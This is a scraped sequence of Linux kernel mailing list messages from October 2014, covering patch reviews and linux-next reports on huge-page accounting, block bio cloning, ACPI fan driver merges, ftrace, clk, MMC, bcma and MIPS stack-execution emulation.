> > return 0;
> > }
> 
> How about we just move this hunk in to smaps_pte_entry()?  Something
> along these lines:
> 
> ...
> if (PageAnon(page)) {
> mss->anonymous += ptent_size;
> + if (PageTransHuge(page))
> + mss->anonymous_thp += ptent_size;
>   }
> 
> If we do that, plus teaching vm_normal_page() about huge_zero_pages, it
> will help keep the hacks and the extra code due to huge pages to a miniumum.
> 
> > diff --git a/include/linux/huge_mm.h b/include/linux/huge_mm.h
> > index 63579cb..758f569 100644
> > --- a/include/linux/huge_mm.h
> > +++ b/include/linux/huge_mm.h
> > @@ -34,6 +34,10 @@ extern int change_huge_pmd(struct vm_area_struct *vma, 
> > pmd_t *pmd,
> > unsigned long addr, pgprot_t newprot,
> > int prot_numa);
> >  
> > +extern bool is_huge_zero_page(struct page *page);
> > +
> > +extern bool is_huge_zero_pmd(pmd_t pmd);
> > +
> >  enum transparent_hugepage_flag {
> > TRANSPARENT_HUGEPAGE_FLAG,
> > TRANSPARENT_HUGEPAGE_REQ_MADV_FLAG,
> > diff --git a/mm/huge_memory.c b/mm/huge_memory.c
> > index d9a21d06..bedc3ae 100644
> > --- a/mm/huge_memory.c
> > +++ b/mm/huge_memory.c
> > @@ -173,12 +173,12 @@ static int start_khugepaged(void)
> >  static atomic_t huge_zero_refcount;
> >  static struct page *huge_zero_page __read_mostly;
> >  
> > -static inline bool is_huge_zero_page(struct page *page)
> > +bool is_huge_zero_page(struct page *page)
> >  {
> > return ACCESS_ONCE(huge_zero_page) == page;
> >  }
> >  
> > -static inline bool is_huge_zero_pmd(pmd_t pmd)
> > +bool is_huge_zero_pmd(pmd_t pmd)
> >  {
> > return is_huge_zero_page(pmd_page(pmd));
> >  }
> 
> ^^^ And all these exports.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] block: copy bi_vcnt in __bio_clone_fast

2014-10-09 Thread Ming Lei
On Fri, Oct 10, 2014 at 3:12 AM, Jens Axboe  wrote:
> On 10/09/2014 11:58 AM, Jeff Mahoney wrote:
>> -BEGIN PGP SIGNED MESSAGE-
>> Hash: SHA1
>>
>> On 10/9/14, 12:13 PM, Ming Lei wrote:
>>> On Thu, Oct 9, 2014 at 11:25 PM, Ming Lei 
>>> wrote:
 On Thu, Oct 9, 2014 at 10:26 PM, Jeff Mahoney 
 wrote:
> -BEGIN PGP SIGNED MESSAGE- Hash: SHA1
>
> On 10/9/14, 9:53 AM, Jeff Moyer wrote:
>> Jeff Mahoney  writes:
>>
>>> Commit 05f1dd53152173 (block: add queue flag for disabling
>>> SG merging) uses bi_vcnt to assign bio->bi_phys_segments if
>>> sg merging is disabled. When using device mapper on top of
>>> a blk-mq device (virtio_blk in my test), we'd end up
>>> overflowing the scatterlist in __blk_bios_map_sg.
>>>
>>> __bio_clone_fast copies bi_iter and bi_io_vec but not
>>> bi_vcnt, so blk_recount_segments would report
>>> bi_phys_segments as 0. Since rq->nr_phys_segments is 0 as
>>> well, the checks to ensure that we don't exceed the queue's
>>> segment limit end up allowing more bios (and segments) to
>>> attach the a request until we finally map it. That also
>>> means we pass the BUG_ON at the beginning of
>>> virtio_queue_rq, ultimately causing memory corruption and
>>> a crash.
>>>
>>> If we copy bi_vcnt in __bio_clone_fast, the bios and
>>> requests properly report the number of segments and
>>> everything works as expected.
>>>
>>> Originally reported at
>>> http://bugzilla.opensuse.org/show_bug.cgi?id=888259
>>
>> Hi, Jeff,
>>
>> Did you manage to reproduce this problem with commit 0738854
>> (blk-merge: fix blk_recount_segments) applied?  Or perhaps
>> with commit 200612e (dm table: propagate
>> QUEUE_FLAG_NO_SG_MERGE)?
>
> Yep. I was able to reproduce it with 3.17. I did try 0738854
> when I was still using 3.16 since it looked like a good
> candidate. Neither of those patches affect the problem here.
> bio->bi_phys_segments never gets a value set in the fast clone
> case and that translates to req->nr_phys_segments never getting
> properly accumulated. That might not be a problem except that
> the NO_SG_MERGE behavior bypasses the iteration that would come
> up with the correct value. In either case,

 This patch may get incorrect rq->nr_phys_segments because bio
 cloning is often used in case of I/O splitting, so could you test
 if the attached patch fixes your problem?
>>
>> Ah. Right.
>>
>>> Please ignore last patch and test the attached patch since we still
>>> should use no sg merge to recalculate req's segments for cloned
>>> bio.
>>
>> Yep, this fix works as expected.
>
> Thanks Ming, I've queued it up (and added Jeff's tested-by).

Sorry, looks my patch is still wrong:

- merge should be done if bio->bi_vcnt is bigger than max segment
- if one bio has been cloned from, bi_vcnt can't be relied on too

So that means it may be incorrect to use bio->bi_vcnt in
blk_recalc_rq_segments(), but seems like using bio_segments()
is a bit expensive for NO_SG_MERGE.

Thanks,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


linux-next: build failure after merge of the thermal tree

2014-10-09 Thread Stephen Rothwell
Hi Zhang,

After merging the thermal tree, today's linux-next build (powerpc
ppc64_defconfig) failed like this:

In file included from /scratch/sfr/next/init/main.c:27:0:
/scratch/sfr/next/include/linux/acpi.h: In function 
'acpi_create_platform_device':
/scratch/sfr/next/include/linux/acpi.h:528:12: error: parameter name omitted
 struct acpi_device *)
^
In file included from /scratch/sfr/next/drivers/i2c/i2c-core.c:54:0:
/scratch/sfr/next/include/linux/acpi.h: In function 
'acpi_create_platform_device':
/scratch/sfr/next/include/linux/acpi.h:528:12: error: parameter name omitted
 struct acpi_device *)
^

And so on ...

Caused by commit 55fe2ff57c7e ("ACPI: make
acpi_create_platform_device() an external API").  This build does not
have CONFIG_ACPI set.  This has come along a bit late. :-(

I have used the thermal tree from next-20141009 for today.
-- 
Cheers,
Stephen Rothwells...@canb.auug.org.au


signature.asc
Description: PGP signature


linux-next: manual merge of the thermal tree with the pm tree

2014-10-09 Thread Stephen Rothwell
Hi Zhang,

Today's linux-next merge of the thermal tree got a conflict in
drivers/acpi/fan.c between commit 88989fd26a74 ("ACPI / fan: printk
replacement") from the pm tree and commits 71532a58d2b0 ("ACPI / fan:
remove unused macro") and ff39c76855e8 ("ACPI / fan: convert to
platform driver") from the thermal tree.

I fixed it up (see below) and can carry the fix as necessary (no action
is required).

-- 
Cheers,
Stephen Rothwells...@canb.auug.org.au

diff --cc drivers/acpi/fan.c
index 5328b1090e08,e007c4987bea..
--- a/drivers/acpi/fan.c
+++ b/drivers/acpi/fan.c
@@@ -27,15 -27,11 +27,11 @@@
  #include 
  #include 
  #include 
 -#include 
 +#include 
  #include 
  #include 
- 
- #define ACPI_FAN_CLASS"fan"
- #define ACPI_FAN_FILE_STATE   "state"
- 
- #define _COMPONENTACPI_FAN_COMPONENT
- ACPI_MODULE_NAME("fan");
+ #include 
+ #include 
  
  MODULE_AUTHOR("Paul Diefenbaugh");
  MODULE_DESCRIPTION("ACPI Fan Driver");
@@@ -125,25 -221,128 +221,129 @@@ static const struct thermal_cooling_dev
  };
  
  /* --
 - Driver Interface
 -   -- 
*/
 + *   Driver Interface
 + * --
 +*/
  
- static int acpi_fan_add(struct acpi_device *device)
+ static bool acpi_fan_is_acpi4(struct acpi_device *device)
  {
-   int result = 0;
-   struct thermal_cooling_device *cdev;
+   return acpi_has_method(device->handle, "_FIF") &&
+  acpi_has_method(device->handle, "_FPS") &&
+  acpi_has_method(device->handle, "_FSL") &&
+  acpi_has_method(device->handle, "_FST");
+ }
  
-   if (!device)
-   return -EINVAL;
+ static int acpi_fan_get_fif(struct acpi_device *device)
+ {
+   struct acpi_buffer buffer = { ACPI_ALLOCATE_BUFFER, NULL };
+   struct acpi_fan *fan = acpi_driver_data(device);
+   struct acpi_buffer format = { sizeof(""), "" };
+   struct acpi_buffer fif = { sizeof(fan->fif), >fif };
+   union acpi_object *obj;
+   acpi_status status;
+ 
+   status = acpi_evaluate_object(device->handle, "_FIF", NULL, );
+   if (ACPI_FAILURE(status))
+   return status;
+ 
+   obj = buffer.pointer;
+   if (!obj || obj->type != ACPI_TYPE_PACKAGE) {
+   dev_err(>dev, "Invalid _FIF data\n");
+   status = -EINVAL;
+   goto err;
+   }
  
-   strcpy(acpi_device_name(device), "Fan");
-   strcpy(acpi_device_class(device), ACPI_FAN_CLASS);
+   status = acpi_extract_package(obj, , );
+   if (ACPI_FAILURE(status)) {
+   dev_err(>dev, "Invalid _FIF element\n");
+   status = -EINVAL;
+   }
  
-   result = acpi_bus_update_power(device->handle, NULL);
-   if (result) {
-   dev_err(>dev, "Setting initial power state\n");
-   goto end;
+ err:
+   kfree(obj);
+   return status;
+ }
+ 
+ static int acpi_fan_speed_cmp(const void *a, const void *b)
+ {
+   const struct acpi_fan_fps *fps1 = a;
+   const struct acpi_fan_fps *fps2 = b;
+   return fps1->speed - fps2->speed;
+ }
+ 
+ static int acpi_fan_get_fps(struct acpi_device *device)
+ {
+   struct acpi_fan *fan = acpi_driver_data(device);
+   struct acpi_buffer buffer = { ACPI_ALLOCATE_BUFFER, NULL };
+   union acpi_object *obj;
+   acpi_status status;
+   int i;
+ 
+   status = acpi_evaluate_object(device->handle, "_FPS", NULL, );
+   if (ACPI_FAILURE(status))
+   return status;
+ 
+   obj = buffer.pointer;
+   if (!obj || obj->type != ACPI_TYPE_PACKAGE || obj->package.count < 2) {
+   dev_err(>dev, "Invalid _FPS data\n");
+   status = -EINVAL;
+   goto err;
+   }
+ 
+   fan->fps_count = obj->package.count - 1; /* minus revision field */
+   fan->fps = devm_kzalloc(>dev,
+   fan->fps_count * sizeof(struct acpi_fan_fps),
+   GFP_KERNEL);
+   if (!fan->fps) {
+   dev_err(>dev, "Not enough memory\n");
+   status = -ENOMEM;
+   goto err;
+   }
+   for (i = 0; i < fan->fps_count; i++) {
+   struct acpi_buffer format = { sizeof("N"), "N" };
+   struct acpi_buffer fps = { sizeof(fan->fps[i]), >fps[i] };
+   status = acpi_extract_package(>package.elements[i + 1],
+ , );
+   if (ACPI_FAILURE(status)) {
+   dev_err(>dev, "Invalid _FPS element\n");
+   break;
+   }
+   }
+ 
+   /* sort the state array according to fan speed in increase order */
+   sort(fan->fps, 

Re: Re: [PATCH ftrace/for-next v5 0/5] ftrace, kprobes: Introduce IPMODIFY flag for ftrace_ops to detect conflicts

2014-10-09 Thread Masami Hiramatsu
(2014/10/10 0:21), Steven Rostedt wrote:
> On Thu, 09 Oct 2014 13:00:59 +
> Masami Hiramatsu  wrote:
> 
>> Hi,
>>
>> Here is the 5th version of the series of patches which introduces
>> IPMODIFY flag for ftrace_ops to detect conflicts of ftrace users
>> who can modify regs->ip in their handler.
>>
>> The previous version is here;
>>  https://lkml.org/lkml/2014/7/28/13
>>
>> This version is basically an update of previous version to the
>> latest ftrace tree, and adding a test code to selftest.
>>
>> Currently, only kprobes can change the regs->ip in the handler,
>> but recently kpatch is also want to change it. Moreover, since
>> the ftrace itself exported to modules, it might be considerable
>> senario.
>>
>> Here we talked on github.
>>  https://github.com/dynup/kpatch/issues/47
>>
>> To protect modified regs-ip from each other, this series
>> introduces FTRACE_OPS_FL_IPMODIFY flag and ftrace now ensures
>> the flag can be set on each function entry location. If there
>> is someone who already reserve regs->ip on target function
>> entry, ftrace_set_filter_ip or register_ftrace_function will
>> return -EBUSY. Users must handle that.
>> The ftrace_ops with IPMODIFY flag requires at least one
>> entry for filter hash, and its notrace_hash must be empty,
>> because the IPMODIFY action is very address sensitve and
>> user must consider the ip address.
>>
>> The 3rd patch adds a special reservation of IPMODIFY on the
>> jprobed address, since it is the only user who will change
>> the regs->ip. Other kprobes do not change it anymore. 
>>
>> Thank you,
>>
> 
> Masami,
> 
> Thanks for sending this. I'm going to look at it after Dusseldorf. It's
> too late to get it into 3.18, but it looks like a good fit for the work
> I have for 3.19.

Yeah, I think there is no problem until someone tries to use
both ftrace and jprobe on the same target.

> Just don't let me forget you sent this :-)  Even though I tagged it as
> important, I'm sure I'll be tagging a lot of other emails as important
> in the next week.

OK, I'll ping after the event.

> Also, my main test box has finally died. I ordered a new motherboard
> (thanks Linus for the suggestion!) and unfortunately it is due to
> arrive tomorrow. That's the same day I leave and I don't trust my wife
> to install it for me ;-)

Oh, that is a bad timing...

> This means I can not do my tests that I like to run before adding to
> linux-next.

OK, so see you in next week :)

Thank you,

-- 
Masami HIRAMATSU
Software Platform Research Dept. Linux Technology Research Center
Hitachi, Ltd., Yokohama Research Laboratory
E-mail: masami.hiramatsu...@hitachi.com


--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


RE: [PATCH 2/2 v3] SPI: spi-pxa2xx: SPI support for Intel Quark X1000

2014-10-09 Thread Chen, Alvin
> Hi Alvin,
> 
> Doesn't apply.
> 
> Applying: SPI: spi-pxa2xx: SPI support for Intel Quark X1000
> error: patch failed: drivers/spi/spi-pxa2xx-pci.c:19
> error: drivers/spi/spi-pxa2xx-pci.c: patch does not apply Patch failed at 
> 0002 SPI:
> spi-pxa2xx: SPI support for Intel Quark X1000
> 
It is based on the slave-dma tree (git.infraded.org) for-linus branch, which 
will be reapplied on top of v3.19-rc1.
More information can be got from Andy.


> --
> Bryan
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 1/1 linux-next] ceph: fix bool assignments

2014-10-09 Thread Dan Mick


On 10/09/2014 02:16 PM, Fabian Frederick wrote:
> Fix some coccinelle warnings:
> fs/ceph/caps.c:2400:6-10: WARNING: Assignment of bool to 0/1


> - bool wake = 0;
> + bool wake = false;

FWIW, that message is backwards: it should say "WARNING: Assignment of
0/1 to bool" (I know, it's a coccinelle issue, but..)


--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] mmc: dw_mmc: Reset DMA before enabling IDMAC

2014-10-09 Thread Doug Anderson
Alim,

On Thu, Oct 9, 2014 at 3:19 PM, Alim Akhtar  wrote:
> Thats fine, I think every vendor (most of them) has a custom
> implementation of dw_mmc, but they do have VERID register to check the
> dw_mmc version.
> The reason why I asked is, I have seen inconsistency in card
> enumeration on few controller version, and this patch alone does not
> help, and adding a call to dw_mci_idmac_reset() after DMA reset is
> needed. And this is what is recommended in the synopsys's data book
> also.
> Do you see any issue/side effect after adding dw_mci_idmac_reset()?

A quick test shows no problem with adding this to Sonny's patch:

diff --git a/drivers/mmc/host/dw_mmc.c b/drivers/mmc/host/dw_mmc.c
index 66dc8fe..588b5b8 100644
--- a/drivers/mmc/host/dw_mmc.c
+++ b/drivers/mmc/host/dw_mmc.c
@@ -481,6 +481,7 @@ static void dw_mci_idmac_start_dma(struct dw_mci
*host, unsigned int sg_len)

/* Make sure to reset DMA in case we did PIO before this */
dw_mci_ctrl_reset(host, SDMMC_CTRL_DMA_RESET);
+   dw_mci_idmac_reset(host);

/* Select IDMAC interface */
temp = mci_readl(host, CTRL);

I'll start reboot tests now to see how it behaves...  I think Sonny is
out of the office for a few days so we might need to wait for a spin,
but I'll run with that change in the meantime and see how it behaves
for me.

Thanks!

-Doug
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] bcma: Add dependency on OF_ADDRESS

2014-10-09 Thread Julian Calaby
Hi,

On Fri, Oct 10, 2014 at 4:21 AM, Guenter Roeck  wrote:
> On Thu, Oct 09, 2014 at 07:15:32PM +0200, Arend van Spriel wrote:
>> On 10/09/14 18:54, Rafał Miłecki wrote:
>> >On 9 October 2014 18:41, Guenter Roeck  wrote:
>> >>Commit 2101e533f41a ("bcma: register bcma as device tree driver")
>> >>introduces a hard dependency on OF_ADDRESS into the bcma driver.
>> >>OF_ADDRESS is specifically disabled for the sparc architecture.
>> >>This results in the following error when building sparc64:allmodconfig.
>>
>> Does this mean on sparc (using allmodconfig) you will get CONFIG_OF
>> and !CONFIG_OF_ADDRESS? Does that makes sense?
>>
>
> You tell me. From drivers/of/Kconfig:
>
> config OF_ADDRESS
> def_bool y
> depends on !SPARC
> select OF_ADDRESS_PCI if PCI
>
> Presumably there is a reason to disable OF_ADDRESS for sparc.

Why not ask the sparclinux list? (CC'd)

Thanks,

-- 
Julian Calaby

Email: julian.cal...@gmail.com
Profile: http://www.google.com/profiles/julian.calaby/
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 2/3] MIPS: Setup an instruction emulation in VDSO protected page instead of user stack

2014-10-09 Thread Leonid Yegoshin

On 10/09/2014 04:40 PM, James Hogan wrote:



It may be a case for mix of FPU and MIPS R6 emulations. I just keep both
emulators separate as much as possible but I assume that without prove
it may be stackable - some rollback is needed to join both and it may
(probably) cause a double emulation setup - dsemul may be called twice
for the same pair of instructions. I didn't see that yet, honestly and
you may be right.

If the only time they're used is for emulation of a branch delay slot
instruction which should never be another branch, and signals always
undo the emuframe before being handled (btw, should the BD bit in cause
get set if rewinding for signal handlers/gdb?), then it stands to reason
it should never nest.


I don't want to give a chance. If it is proved excessive, then slashing 
it - 15minutes, it doesn't harm.


OK, I will spend some time to look into that, it have sense to 
reconsider after unwinding signals.




You could then avoid the whole stack and per-thread thing and just have
a maximum of one emuframe dedicated to each thread or allocated on
demand, and if there genuinely is a use case for nesting later on, worry
about it then.


As I understand, you propose to allocate some space in mmap.

This requires a stuff to handle allocation of user space beyond VMAs.
It also may have some pain during thread creation, stopping and 
subsequent cloning because that memory allocator should service that 
events too and it may be not easy if emulation blocks are packed into 
page. If it is not packed then it waste of user space and put additional 
constraint to number of thread on single mmap.


Some cooperation with GLIBC may be needed to prevent re-use of user 
address space, at a moment not sure the extent of it.


I estimated that it can be much more troubling.



So long as the kernel handles a long sequence of sequential emulated
branches gracefully (not necessarily correctly).

I don't understand a question. Each pair/single instruction is emulated 
separately but there is some pipeline of that, even in FPU emulator, it 
is just not this patch issue.


--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 0/3] MIPS executable stack protection

2014-10-09 Thread Leonid Yegoshin

On 10/09/2014 03:59 PM, David Daney wrote:






Note: actual execute-protection depends from HW capability, of course.

This patch is required for MIPS32/64 R2 emulation on MIPS R6
architecture.
Without it 'ssh-keygen' crashes pretty fast on attempt to execute
instruction
in stack.


There is much more blocking MIPS32/64 R2 emulation on MIPS R6 than
just this patch isn't there?


This one is critical - ssh-keygen crashes during running MIPS R2. I have
a patch in my R6 repository but GLIBC still can't set stack executable
and security suffers.


But is the R6 code already in the lmo or kernel.org repositories?

If not, then the lack of this patch is not a gating issue.  If this 
patch is really needed for R6 support, why not submit the R6 
prerequisite patches first?


Because -

1) security concern still does exist for MIPS R5 (MIPS R2 has no RI/XI 
support, it was defined in MIPS R3 but for simplicity it is referred as 
"MIPS R2")

2) GLIBC need that to start development




If this patch has nothing to do with MIPS R6, then state that.


It has value for both - MIPS R5 and MIPS R6.







Also, if you are supporting MIPS R6, this patch doesn't even work,
because it doesn't handle PC relative instructions at all.


It seems like you missed my statement - adding support for PC-relative
instruction is just 5 lines of code. I just refrain from this until
toolchain starts generating that.


How can it be just 5 lines of code?  You have to emulate all those 
instructions:


  ADDIUPC
  AUIPC
  ALUIPC
  LDPC
  LWPC
  LWUPC

I think that is all of them.  You can emulate all of those in 5 lines 
of code?


You misread my statement - 5 lines of code for PC-related instruction. 
And only ADDIUPC is a part of microMIPS R2 which I can emulate.
But we discuss something insignificant, MIPS R6 load instructions takes 
more, of course, but definitely less than LWL/LWR/LDL/LDR which I should 
emulate anyway and do.




We need to support everything the toolchain could product in the 
future.  I don't think it makes sense to add all this stuff when it is 
well known that it doesn't solve the problem for MIPS R6, especially 
when the justification for the patch is that it is needed for R6.


I understand what your goals are here, I have spend many months 
working towards a non-executable stack (see the patches that moved the 
signal trampolines off the stack).  But I am worried that there are 
many cases that it will not handle.




Besides that, this version 2 of patch just passed 20-22 hours on P5600
and Virtuoso (no FPU on both) under SOAK test and it gets around 1 per
hour of signal right at emulated instruction in VDSO and unwind works
(as I can see in debug prints).



I'm not saying that the patch doesn't work under your highly 
constrained test conditions, I believe that it does.


I am not familiar with the SOAK test.  Does it really put faulting 
instructions the delay slots of FP branch instructions, catch the 
resulting signal, and then throw an exception from the signal handler?


Yes, the debug output shows me that. "from the signal handler" -> "to 
the signal handler"?








The recent discussions on this subject, including many comments from
Imgtec e-mail addresses, brought to light the need to use an
instruction set emulator for newer MIPSr6 ISA processors.


In Imgtec I am only one who works on MIPS R6 SW and FPU branch emulation
and I say you - it is not needed, this solution is enough.


It can't be true the PC relative support is not needed, why did you 
add the PC relative instructions, if you didn't want to use them in 
Linux userspace?


Sorry, I misunderstood you here - I assume you told here about FULL 
INSTRUCTION SET emulator. Of course, some emulation is needed like PC 
relative instructions, but not a full instruction set. I never said that 
PC-relative instruction doesn't require an emulation.


But see your point (1) below, if you retract from that HERE, please 
confirm the difference - do you want a full instruction set emulator or 
you speak about only PC relative instructions?


> Here is my proposal:

> 1) Add an emulator for all documented MIPS R6 instructions that can 
appear in a linux userspace delay slot.


> 2) Document as not supported placing COP2 instructions in FP branch 
delay slots.


> 3) Get rid of this execute-out-of-line code in the FPU emulator all 
together.


> 4) Enable non-execute stack.

> In order to have full MIPS R6 support in the kernel, you will need an 
emulator for a subset of the instructions anyhow.  Going to a full ISA 
emulator will be a little

> more work, but it shouldn't be too hard.

It is too restrictive and kills the idea of customised processor.

- Leonid.

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v3 7/8] clk: Make clk API return per-user struct clk instances

2014-10-09 Thread Kodiak Furr
Kodiak Furr liked your message with Boxer for Android.

On Oct 9, 2014 6:22 PM, Stephen Boyd  wrote:
>
> On 10/09, Tomeu Vizoso wrote: 
> >  arch/arm/mach-omap2/cclock3xxx_data.c   | 108 -- 
> >  arch/arm/mach-omap2/clock.h |  11 +- 
> >  arch/arm/mach-omap2/clock_common_data.c |   5 +- 
> >  drivers/clk/clk.c   | 630 
> > 
> >  drivers/clk/clk.h   |   5 + 
> >  drivers/clk/clkdev.c    |  24 +- 
> >  include/linux/clk-private.h |  35 +- 
> >  include/linux/clk-provider.h    |  22 +- 
> >  8 files changed, 549 insertions(+), 291 deletions(-) 
>
> The difstat looks good. 
>
> > 
> > diff --git a/drivers/clk/clk.c b/drivers/clk/clk.c 
> > index fb820bf..4db918a 100644 
> > --- a/drivers/clk/clk.c 
> > +++ b/drivers/clk/clk.c 
> > @@ -695,6 +731,13 @@ struct clk *__clk_lookup(const char *name) 
> >  return NULL; 
> >  } 
> >  
> > +struct clk *__clk_lookup(const char *name) 
> > +{ 
> > + struct clk_core *clk = clk_core_lookup(name); 
> > + 
> > + return !clk ? NULL : clk->hw->clk; 
>
> This just looks weird with clk->hw->clk. I know we're trying to 
> keep the diff small by not renaming clk to core when it's used 
> extensively throughout the code, but for small little additions 
> like this I would prefer we use core for clk_core pointers and 
> clk for clk pointers. Then a patch at the end can rename 
> everything to be consistent. This thing also threw me off because 
> I searched for kfree(core) but couldn't find it so I thought we 
> leaked the clk_core structure. 
>
> > +} 
> > + 
> >  /* 
> >   * Helper for finding best parent to provide a given frequency. This can 
> >be used 
> >   * directly as a determine_rate callback (e.g. for a mux), or from a more 
> > @@ -2175,24 +2298,24 @@ void clk_unregister(struct clk *clk) 
> >  * a reference to this clock. 
> >  */ 
> >  flags = clk_enable_lock(); 
> > - clk->ops = _nodrv_ops; 
> > + clk->core->ops = _nodrv_ops; 
> >  clk_enable_unlock(flags); 
> >  
> > - if (!hlist_empty(>children)) { 
> > - struct clk *child; 
> > + if (!hlist_empty(>core->children)) { 
> > + struct clk_core *child; 
> >  struct hlist_node *t; 
> >  
> >  /* Reparent all children to the orphan list. */ 
> > - hlist_for_each_entry_safe(child, t, >children, child_node) 
> > - clk_set_parent(child, NULL); 
> > + hlist_for_each_entry_safe(child, t, >core->children, child_node) 
> > + clk_core_set_parent(child, NULL); 
> >  } 
> >  
> > - hlist_del_init(>child_node); 
> > + hlist_del_init(>core->child_node); 
> >  
> > - if (clk->prepare_count) 
> > + if (clk->core->prepare_count) 
> >  pr_warn("%s: unregistering prepared clock: %s\n", 
> > - __func__, clk->name); 
> > - kref_put(>ref, __clk_release); 
> > + __func__, clk->core->name); 
> > + kref_put(>core->ref, __clk_release); 
> >  
> >  clk_prepare_unlock(); 
>
> It might be worth it to make a "core" local variable in this 
> function. 
>
> >  } 
> > @@ -2255,32 +2378,38 @@ void devm_clk_unregister(struct device *dev, struct 
> > clk *clk) 
> >  } 
> >  EXPORT_SYMBOL_GPL(devm_clk_unregister); 
> >  
> > +static void clk_core_put(struct clk_core *clk) 
> > +{ 
> > + struct module *owner; 
> > + 
> > + if (!clk || WARN_ON_ONCE(IS_ERR(clk))) 
> > + return; 
> > + 
> > + clk_prepare_lock(); 
> > + owner = clk->owner; 
>
> Same here too, we don't need to protect the access to owner so it 
> can move outside the lock. 
>
> > + kref_put(>ref, __clk_release); 
> > + module_put(owner); 
> > + clk_prepare_unlock(); 
> > +} 
> > + 
> >  /* 
> >   * clkdev helpers 
> >   */ 
> >  int __clk_get(struct clk *clk) 
> >  { 
> >  if (clk) { 
> > - if (!try_module_get(clk->owner)) 
> > + if (!try_module_get(clk->core->owner)) 
> >  return 0; 
> >  
> > - kref_get(>ref); 
> > + kref_get(>core->ref); 
> >  } 
> >  return 1; 
>
> Grow a core pointer? 
>
> >  } 
> > @@ -2391,6 +2520,31 @@ int clk_notifier_unregister(struct clk *clk, struct 
> > notifier_block *nb) 
> >  } 
> >  EXPORT_SYMBOL_GPL(clk_notifier_unregister); 
> >  
> > +struct clk *__clk_create_clk(struct clk_hw *hw, const char *dev_id, 
>
> Curious, why the underscore? 
>
> > +  const char *con_id) 
> > +{ 
> > + struct clk *clk; 
> > + 
> > + /* This is to allow this function to be chained to others */ 
> > + if (!hw || IS_ERR(hw)) 
> > + return (struct clk *) hw; 
> > + 
> > + clk = kzalloc(sizeof(*clk), GFP_KERNEL); 
> > + if (!clk) 
> > + return ERR_PTR(-ENOMEM); 
> > + 
> > + clk->core = hw->core; 
> > + clk->dev_id = dev_id; 
> > + clk->con_id = con_id; 
> > + 
> > + return clk; 
> > +} 
> > diff --git a/drivers/clk/clkdev.c b/drivers/clk/clkdev.c 
> > index da4bda8..4411db6 100644 
> > --- a/drivers/clk/clkdev.c 
> > +++ b/drivers/clk/clkdev.c 
> > @@ -69,6 +70,10 @@ struct clk *of_clk_get(struct device_node *np, int 
> > index) 
> >  
> >  clk = of_clk_get_by_clkspec(); 
> >  of_node_put(clkspec.np); 
> > + 
> > + if (!IS_ERR(clk)) 
> > + clk = 

Re: [PATCH v2 2/3] MIPS: Setup an instruction emulation in VDSO protected page instead of user stack

2014-10-09 Thread James Hogan
Hi Leonid,

On Thu, Oct 09, 2014 at 04:10:15PM -0700, Leonid Yegoshin wrote:
> >> Small stack of emulation blocks is supported because nested traps are 
> >> possible
> >> in MIPS32/64 R6 emulation mix with FPU emulation.
> > Could you please clarify how this nesting of emulation blocks could
> > happen now that signals are handled more cleanly.
> >
> > I.e. isn't the emuframe stuff only required for instructions in branch
> > delay slots, and branches shouldn't be in branch delay slots anyway, so
> > I don't get how they could nest.
> >
> It may be a case for mix of FPU and MIPS R6 emulations. I just keep both 
> emulators separate as much as possible but I assume that without prove 
> it may be stackable - some rollback is needed to join both and it may 
> (probably) cause a double emulation setup - dsemul may be called twice 
> for the same pair of instructions. I didn't see that yet, honestly and 
> you may be right.

If the only time they're used is for emulation of a branch delay slot
instruction which should never be another branch, and signals always
undo the emuframe before being handled (btw, should the BD bit in cause
get set if rewinding for signal handlers/gdb?), then it stands to reason
it should never nest.

You could then avoid the whole stack and per-thread thing and just have
a maximum of one emuframe dedicated to each thread or allocated on
demand, and if there genuinely is a use case for nesting later on, worry
about it then.

So long as the kernel handles a long sequence of sequential emulated
branches gracefully (not necessarily correctly).

Cheers
James
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 1/1] ARM: exynos_defconfig: re-enable USB gadget and max77802 options

2014-10-09 Thread Kevin Hilman
Javier Martinez Canillas  writes:

> Commit 43eeaa42e03a ("ARM: exynos_defconfig: savedefconfig") removed a
> set of Kconfig symbols. For most of them there were no functional change
> since are selected by other Kconfig options or were deprecated but some
> options are not explicitly selected so they should not had been removed.
>
> The options that have to be enabled are USB gadget and the MAX77802 PMIC
> support which were enabled in commits:
>
> 508423bebcda ("ARM: exynos_defconfig: enable USB gadget support")
> 6e80e3d87549 ("ARM: exynos_defconfig: Enable MAX77802")
>
> Enable those options to leave the config in the state before the change.
>
> Signed-off-by: Javier Martinez Canillas 

Acked-by: Kevin Hilman 
Tested-by: Kevin Hilman 

This is needed to get RTC wakeup from suspend working on
